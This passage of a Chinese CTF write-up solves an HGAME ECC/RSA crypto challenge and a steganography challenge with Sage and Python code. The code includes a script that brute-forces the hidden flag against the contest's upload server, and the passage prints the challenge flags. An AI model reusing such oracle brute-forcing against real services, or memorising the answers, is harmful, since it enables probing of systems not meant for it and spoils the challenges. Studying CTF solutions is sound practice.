style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span><br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>e</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>Q</mi><mo>=</mo><msup><mi>e</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>e</mi><mi>P</mi><mo>=</mo><mi>k</mi><mi>n</mi><mi>P</mi><mo>+</mo><mi>P</mi><mo>=</mo><mi>P</mi></mrow><annotation encoding="application/x-tex">e^{-1}Q=e^{-1}eP=knP+P=P</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.008548em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.77777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span><br />所以<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo>=</mo><msup><mi>e</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>Q</mi></mrow><annotation encoding="application/x-tex">P=e^{-1}Q</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.008548em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">Q</span></span></span></span></p><p>程序实现过程如下：</p><p>代入椭圆曲线求阶。此处由于<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span>不是素数，因此，求阶也用上面相同的方法，先在<code>Zmod(p)</code>定义椭圆曲线，求阶<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>o</mi><mi>r</mi><mi>d</mi><mi>e</mi><mi>r</mi><mn>1</mn></mrow><annotation encoding="application/x-tex">order1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">1</span></span></span></span>，再在<code>Zmod(q)</code>定义椭圆曲线，求阶<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>o</mi><mi>r</mi><mi>d</mi><mi>e</mi><mi>r</mi><mn>2</mn></mrow><annotation encoding="application/x-tex">order2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">2</span></span></span></span>：<br /><strong>注：这里<code>Sagemath</code>求阶很慢，大概要一两分钟才能算出，千万不要以为算不出来停止程序！</strong></p><pre><code class="language-python">E = EllipticCurve(Zmod(p), [a, b])print(E(x, y).order())E = EllipticCurve(Zmod(q), [a, b])print(E(x, y).order())# 57596132977401155970699509799405362334879094977438851681966286670288183598942# 109900879774346908739236130854229171066947175298920763282658606446284241695225</code></pre><p>接下来，对<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>e</mi></mrow><annotation encoding="application/x-tex">e</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">e</span></span></span></span>关于<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>o</mi><mi>r</mi><mi>d</mi><mi>e</mi><mi>r</mi><mn>1</mn></mrow><annotation encoding="application/x-tex">order1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">1</span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>o</mi><mi>r</mi><mi>d</mi><mi>e</mi><mi>r</mi><mn>2</mn></mrow><annotation encoding="application/x-tex">order2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">2</span></span></span></span>求逆，得到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>e</mi><mn>1</mn><mrow><mo>−</mo><mn>1</mn></mrow></msubsup></mrow><annotation encoding="application/x-tex">e_1^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.120547em;vertical-align:-0.266308em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.854239em;"><span style="top:-2.433692em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.1031310000000003em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.266308em;"><span></span></span></span></span></span></span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>e</mi><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msubsup></mrow><annotation encoding="application/x-tex">e_2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.120547em;vertical-align:-0.266308em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.854239em;"><span style="top:-2.433692em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.1031310000000003em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.266308em;"><span></span></span></span></span></span></span></span></span></span>：</p><pre><code class="language-python">order1 = 57596132977401155970699509799405362334879094977438851681966286670288183598942print(invert(e, order1))order2 = 109900879774346908739236130854229171066947175298920763282658606446284241695225print(invert(e, order2))# 52181148238999826269997348521669498523973297552529864092154146722475434456587# 28860665691012025562690160190006496899036723712471327303075809420498864404529</code></pre><p>将点<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex">Q</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">Q</span></span></span></span>分别乘以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>e</mi><mn>1</mn><mrow><mo>−</mo><mn>1</mn></mrow></msubsup></mrow><annotation encoding="application/x-tex">e_1^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.120547em;vertical-align:-0.266308em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.854239em;"><span style="top:-2.433692em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.1031310000000003em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.266308em;"><span></span></span></span></span></span></span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>e</mi><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msubsup></mrow><annotation encoding="application/x-tex">e_2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.120547em;vertical-align:-0.266308em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.854239em;"><span style="top:-2.433692em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.1031310000000003em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.266308em;"><span></span></span></span></span></span></span></span></span></span>，得到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">x_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">x_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：</p><pre><code class="language-python">E = EllipticCurve(Zmod(p), [a, b])e_1 = 52181148238999826269997348521669498523973297552529864092154146722475434456587print(E(x, y)*e_1)E = EllipticCurve(Zmod(q), [a, b])e_2 = 28860665691012025562690160190006496899036723712471327303075809420498864404529print(E(x, y)*e_2)# (48494309904806728376959072180812326156563261489632316320588491082808406223560 : 44195684491268406285064620278061419107453570569873836087529644869465508326701 : 1)# (60096144340662420409544377664399834868314629713356791451054313519444106083801 : 108948218400988301261222221522876031794044560830571857879909922751073979018293 : 1)</code></pre><p>将<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">x_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>与<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">x_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>代入先前的计算式，得到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">x</span></span></span></span>：</p><pre><code class="language-python">x1 = 48494309904806728376959072180812326156563261489632316320588491082808406223560x2 = 60096144340662420409544377664399834868314629713356791451054313519444106083801t = (x2 - x1) * invert(p, q)t = t * p + x1x = t % nprint(long_to_bytes(x))# b&#39;hgame{ECC_4nd_RSA_also_can_be_combined}&#39;</code></pre><p>得到flag：</p><pre><code class="language-text">hgame{ECC_4nd_RSA_also_can_be_combined}</code></pre><h3 id="%E5%90%8E%E8%AE%B0%EF%BC%88%E7%AE%80%E5%8C%96%E6%B1%82y%E7%9A%84%E6%AD%A5%E9%AA%A4%EF%BC%89" tabindex="-1">后记（简化求y的步骤）</h3><p>经过后期验证，发现其实如果将椭圆曲线的域设置在<code>Zmod(p)</code>和<code>Zmod(q)</code>，可以直接用<code>lift_x</code>函数获得对应的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>值：</p><pre><code class="language-python">E = EllipticCurve(Zmod(p), [a, b])print(E.lift_x(Integer(x)))E = EllipticCurve(Zmod(q), [a, b])print(E.lift_x(Integer(x)))# (61423820596960499948966299789412354362086674189471142391989200387209265786284 : 60316725576536008544362819709695572607167462139249474498633602356218818183892 : 1)# (106017678275557872173671551321222618190193126754512628899301773486474824272398 : 4077572833318728811840831834518494595884510028762006957796941546063704446173 : 1)</code></pre><p>笔者在求解的时候算出来的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>有两个值，和<code>lift_x</code>函数得到的结果有些不同，但是不影响最终计算结果。</p><h2 id="%5Bmisc%5D-new_type_steganography" tabindex="-1">[MISC] New_Type_Steganography</h2><p><strong>本题解法<s>可能</s>一定不是预期解</strong><br /><s>（因为这太蠢了，答对都是靠的运气）</s></p><blockquote><p>后记：若将原有的方法优化一下，可以十分接近正解，就不用靠运气了~</p></blockquote><p>先前使用纯黑和纯白图片测试，发现存在一些规律：</p><ul><li>该隐写算法在隐写之前，首先会将输入的字符串转换为二进制（大抵使用的是bytes_to_long函数）</li><li>隐写全部作用于RGB的G通道</li><li>隐写后的G相比隐写前的相差4（具体正负规律不太清楚，推测可能与二进制01有关）</li><li>如果图片存在接近纯白或纯黑的像素点（abs(G-4)&lt;4），则这个点很可能不进行隐写</li><li>隐写存在某些规律，顺序不同隐写结果不同（这点很关键）</li></ul><p>笔者认为，要使这道题的解题成为可能，首先必须得找到原图。</p><blockquote><p>笔者备份的原图可从该链接下载：<a href="https://od.vvbbnn00.cn/t/izzbLS" target="_blank">https://od.vvbbnn00.cn/t/izzbLS</a></p></blockquote><p>将图片上传至<a href="https://saucenao.com/" target="_blank">https://saucenao.com/</a>，查询后发现这张图来源于PIXIV：<a href="https://www.pixiv.net/artworks/97558083" target="_blank">https://www.pixiv.net/artworks/97558083</a>，下载<strong>原图</strong>（一定要是原图，不然可能会无法进行后续比对！），先与<code>flag.png</code>进行初步比较：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/3632f37993e8494c8e2b079dafce5737.png" alt="c1f387a04c5576855b5548e77d0f9968.png" /><br />可以看见，虽然图像边缘与flag图有些许差异，但是差别很小，而且大多数不在G通道，而且将该图以空文本隐写一次，这些差异会消失，因此可以忽略不计。<br />于是，我们便拿到了原图，编写程序与flag图比对：</p><pre><code class="language-python">def diff(img1: Image, img2: Image, show=False):    diff_set = set()    w, h = img1.size    cnt = 0    for x in range(w):        for y in range(h):            cnt += 1            if img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]:                dif = img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]                diff_set.add(f&quot;{x},{y},{dif}&quot;)                if show:                    print(f&quot;{x} {y} {cnt} {dif}&quot;)    return diff_set</code></pre><p>输出结果如下：</p><pre><code class="language-text">16 457 14858 416 660 15061 420 344 18345 420 437 18438 420 755 18756 444 803 40404 -444 899 40500 -460 312 54313 462 515 56316 485 49 76550 -488 878 80079 -492 343 83144 493 247 83948 495 241 85742 4112 491 101292 4121 633 109534 4122 733 110534 4129 795 116896 -4147 826 133127 -4154 367 138968 4156 182 140583 4162 869 146670 -4170 743 153744 4184 341 165942 4187 119 168420 4191 578 172479 4199 49 179150 -4209 328 188429 4219 259 197360 4220 705 198706 4221 185 199086 4222 560 200361 4228 679 205880 4231 404 208305 4234 335 210936 4237 159 213460 4238 186 214387 4245 516 221017 4246 633 222034 4247 695 222996 4252 57 226858 -4265 534 239035 4271 882 244783 -4281 216 253117 4282 758 254559 4296 154 266555 4297 214 267515 4298 510 268711 4306 148 275549 4309 486 278587 4317 343 285644 4319 830 287931 -4324 316 291917 4328 388 295589 4330 158 297159 4337 429 303730 4344 179 309780 4347 136 312437 4354 530 319131 4362 249 326050 -4369 408 332509 4371 310 334211 4390 378 351379 4393 766 354467 4406 478 365879 -4416 824 375225 -4421 279 379180 4426 409 383810 4428 289 385490 -4428 681 385882 -4436 858 393259 4440 268 396269 -4447 640 402941 4448 610 403811 4466 711 420112 4470 521 423522 -4471 280 424181 -4479 537 431638 -4491 88 441989 -4493 51 443752 -4493 442 444143 -4516 276 464677 -4521 427 469328 -4522 412 470213 4524 614 472215 4525 890 473391 -4530 380 477381 4536 278 482679 4543 294 488995 4545 481 490982 -4554 87 498688 4559 443 503544 -4567 704 511005 4573 86 515787 -4597 491 537792 -4602 895 542696 4611 56 549957 -4616 467 554868 -4617 62 555363 -4641 724 577625 4654 876 589477 4662 272 596073 4662 596 596397 -4664 328 597929 4674 50 606651 -4682 495 614296 -4693 195 623896 -4707 573 636874 -4716 862 645263 4731 842 658743 4736 103 662504 -4788 646 709847 -4831 728 748629 4840 651 756652 -4848 638 763839 -4865 686 779187 -4873 632 786333 -4875 225 787726 4877 531 789832 4878 865 791066 -4887 32 798333 -4903 819 813520 -4909 558 818659 4918 618 826819 4919 670 827771 -4921 236 829137 4922 187 829988 4930 816 837817 -4938 518 844719 4956 112 860513 4959 659 863760 4961 829 865730 -4990 733 891734 41008 425 907626 41010 430 909431 41021 638 919539 41030 343 927344 41030 607 927608 41038 245 934446 41041 853 937754 -41053 380 948081 41068 835 962036 -41103 639 993340 41108 505 997706 41122 541 1010342 41125 221 1012722 41125 232 1012733 41139 64 1025165 -41143 55 1028756 -41144 895 1030496 -41145 129 1030630 41147 481 1032782 41162 242 1046043 41172 457 1055258 41184 664 1066265 4</code></pre><p>差异点很多，所以暂时先放着。<br />笔者先后分别测试了隐写内容<code>0</code>、<code>1</code>、<code>01</code>、<code>10</code>、<code>h</code>、<code>hg</code>、<code>hga</code>、<code>hgame</code>：</p><pre><code class="language-text">0 0b110000309 486 278587 4532 575 479376 4765 633 689134 -41 0b110001309 486 278587 4532 575 479376 4765 633 689134 -4933 632 840333 401 0b1100000011000193 247 83948 4309 486 278587 4426 409 383810 4428 681 385882 -4532 575 479376 4765 633 689134 -410 0b11000100110000309 486 278587 4426 409 383810 4428 681 385882 -4532 575 479376 4765 633 689134 -4933 632 840333 4h 0b1101000309 486 278587 4664 328 597929 4hg 0b11010000110011193 247 83947 4222 560 200360 4271 882 244782 -4309 486 278586 4369 408 332508 4426 409 383809 4428 681 385881 -4554 87 498687 4664 328 597928 4hga 0b1101000011001110110000193 247 83948 4222 560 200361 4271 882 244783 -4309 486 278587 4354 530 319131 4369 408 332509 4426 409 383810 4428 681 385882 -4493 442 444143 -4554 87 498688 4664 328 597929 4887 32 798333 -4903 819 813520 -41103 639 993340 41144 895 1030496 -4hgame 0b11010000110011101100001011011010110010193 247 83948 4121 633 109534 4222 560 200361 4247 695 222996 4271 882 244783 -4309 486 278587 4354 530 319131 4369 408 332509 4406 478 365879 -4426 409 383810 4428 681 385882 -4493 442 444143 -4524 614 472215 4554 87 498688 4664 328 597929 4736 103 662504 -4831 728 748629 4887 32 798333 -4903 819 813520 -4930 816 837817 -4956 112 860513 4961 829 865730 -41038 245 934446 41103 639 993340 41144 895 1030496 -4</code></pre><p>对比分析后发现，<code>h</code>的差异点全部都在<code>hg</code>和<code>hgame</code>中出现了，<code>hg</code>的差异点也全部在<code>hgame</code>中出现，而<code>1</code>中的部分点并不会在<code>01</code>中出现，因此，可以利用这个现象，进行类似sql盲注一样的爆破。<br />爆破代码如下：</p><pre><code class="language-python">import stringfrom io import BytesIOimport requestsfrom Crypto.Util.number import bytes_to_longfrom PIL import Imagefrom tqdm import tqdmwidth = 1200height = 900try_txt = &#39;hgame{&#39;dic = &#39;_&#39; + string.digits + string.ascii_lettersdef diff(img1: Image, img2: Image, show=False):    diff_set = set()    w, h = img1.size    cnt = 0    for x in range(w):        for y in range(h):            cnt += 1            if img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]:                dif = img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]                diff_set.add(f&quot;{x},{y},{dif}&quot;)                if show:                    print(f&quot;{x} {y} {cnt} {dif}&quot;)    return diff_setdef getPic(text):    ret = requests.post(&#39;http://week-4.hgame.lwsec.cn:31930/upload&#39;, files={        &#39;file&#39;: ori    }, data={        &#39;text&#39;: text,    }).content    im = Image.open(BytesIO(ret))    return imif __name__ == &#39;__main__&#39;:    ori = open(&#39;steg/problem.png&#39;, &#39;rb&#39;).read()    ori_img = Image.open(&#39;steg/problem.png&#39;)    data = b&#39;10&#39;    print(data.decode(), bin(bytes_to_long(data)))    diff(ori_img, getPic(data), show=True)    flag = diff(ori_img, Image.open(f&#39;steg/flag.png&#39;))    already_exists = diff(ori_img, getPic(try_txt))    while True:        lis = []        for t in tqdm(dic):            img = getPic(try_txt + t)            dif = diff(ori_img, img)            if len(dif - flag) == 0 and len(already_exists - dif) == 0:                print(try_txt + t)                lis.append(t)        try_txt += lis[0]        print(&#39;&#39;.join(lis))</code></pre><p>爆破速度大概每2秒爆破一位，花了不少时间，最后每一位的可能解如下（一行为一位）：</p><pre><code class="language-text">hgame{01234567_HIJKLMNOXYZLN45delmtuDELMTU01234567pqrstuvwPQRSTUVW_GOWDPT139acikqsybhjprxz159aeimquy_RSVWZ0189hijklmnoHIJKLMNOabcdefghijklmnoABCDEFGHIJKL_VWABCPQRSptxPTX45detufgnoFGNO02464567defglmnotuvw014589adehilmpqtuxyADEHILMPQTUXYegEGabchijkpqrsxyzABCHIJKPQRSXYZac02bpr012389abchijkpqrsxyzABCHIJKPQRSXYZ159aeimquyAEIMQUYA</code></pre><p>最后一个A笔者猜测是右大括号，尝试后确实满足。</p><p>接下来，就只能靠自己的想象力了，笔者初步拼接的结果如下：</p><pre><code class="language-text">4_N(e/E)(w/W)_Type_8(i/I)n_S(t/T)e(g/G)4n0(g/G)(r/R)ap(h/H)(y/Y)</code></pre><p>由于大小写不可知，笔者还需要反复尝试找到最接近的解（dic变量一行一个，可以猜测多个解）：</p><pre><code class="language-python">import stringfrom io import BytesIOimport requestsfrom PIL import Imagefrom tqdm import tqdmdic = &quot;&quot;&quot;4_New_Type_1mg_Steg4n0graphy&quot;&quot;&quot;# for i in string.ascii_letters + string.digits + &#39;-_^@&#39;:#     print(i, bin(ord(i))[2:].zfill(8))def dfs(s, curr):    if curr == len(dd):        print(f&#39;4_N{s[0]}{s[1]}_Type_8{s[2]}n_S{s[3]}e{s[4]}4n0{s[5]}{s[6]}ap{s[7]}{s[8]}&#39;)        return    for i in dd[curr]:        dfs(s + i, curr + 1)width = 1200height = 900def diff(img1: Image, img2: Image):    diff_set = set()    w, h = img1.size    cnt = 0    for x in range(w):        for y in range(h):            cnt += 1            if img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]:                dif = img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]                diff_set.add(f&quot;{x},{y},{dif}&quot;)    return diff_set    # print(by)def getPic(text):    ret = requests.post(&#39;http://week-4.hgame.lwsec.cn:32647/upload&#39;, files={        &#39;file&#39;: ori    }, data={        &#39;text&#39;: text,    }).content    im = Image.open(BytesIO(ret))    return imif __name__ == &#39;__main__&#39;:    dd = dic.split(&quot;\n&quot;)    ori = open(&#39;steg/problem.png&#39;, &#39;rb&#39;).read()    ori_img = Image.open(&#39;steg/problem.png&#39;)    flag = diff(ori_img, Image.open(f&#39;steg/flag.png&#39;))    for txt in dd:        txt = &#39;hgame{%s}&#39; % txt        img = getPic(txt)        dif = diff(ori_img, img)        print(txt, len(flag - dif), len(dif - flag))</code></pre><p>在所有可能中，值最小的解为：</p><pre><code 